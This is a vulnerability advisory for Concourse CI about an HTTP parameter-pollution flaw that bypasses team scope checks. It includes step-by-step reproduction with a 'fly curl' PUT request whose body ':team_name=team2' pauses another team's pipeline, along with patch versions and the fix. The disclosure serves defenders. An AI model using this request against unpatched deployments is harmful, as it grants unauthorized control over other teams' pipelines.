### Impact
For some Post/Put Concourse endpoint containing `:team_name` in the URL, a Concourse user can send a request with body including `:team_name=team2` to bypass team scope check to gain access to certain resources belong to any other team. The user only needs a valid user session and belongs to team2.
Exploitable endpoints:
“`
{Path: “/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/builds/:build_name”, Method: “POST”, Name: RerunJobBuild},
{Path: “/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/pause”, Method: “PUT”, Name: PauseJob},

### Steps to reproduce
1. Set up a Concourse deployment with team 1 (with pipeline 1) and team 2. User is in team 2 but not team 1.
2. Login as user to team 2.
“`
fly -t ci login -n team2 -u user -p password
“`
3. Try pausing pipeline 1 in team 1 using fly. Verify the command output is `pipeline ‘pipeline1’ not found`.
“`
fly -t ci pause-pipeline -p pipeline1
“`
4. Send a customized request through `fly curl` command intend to pause pipeline 1 again.
“`
fly -t ci curl /api/v1/teams/team1/pipelines/pipeline1/pause — -X PUT -d “:team_name=team2” -H “Content-type: application/x-www-form-urlencoded”
“`
5. pipeline 1 in team 1 will be paused.
In step 4, the parameter pollution would allow an user from any team to pause a pipeline that belongs to other team.
### Patches
Concourse [v6.7.9](https://github.com/concourse/concourse/releases/tag/v6.7.9) and [v7.8.3](https://github.com/concourse/concourse/releases/tag/v7.8.3) were both released with a fix on October 12, 2022.
Instead of using [`FormValue`](https://pkg.go.dev/net/http#Request.FormValue) to parse team_name in the request, where allows body parameters to take precedence over URL query string values, both patch versions are now using `URL.Query().Get()` over multiple scope handlers to prevent the parameter pollution.
### Workarounds
No known workarounds for existing versions.
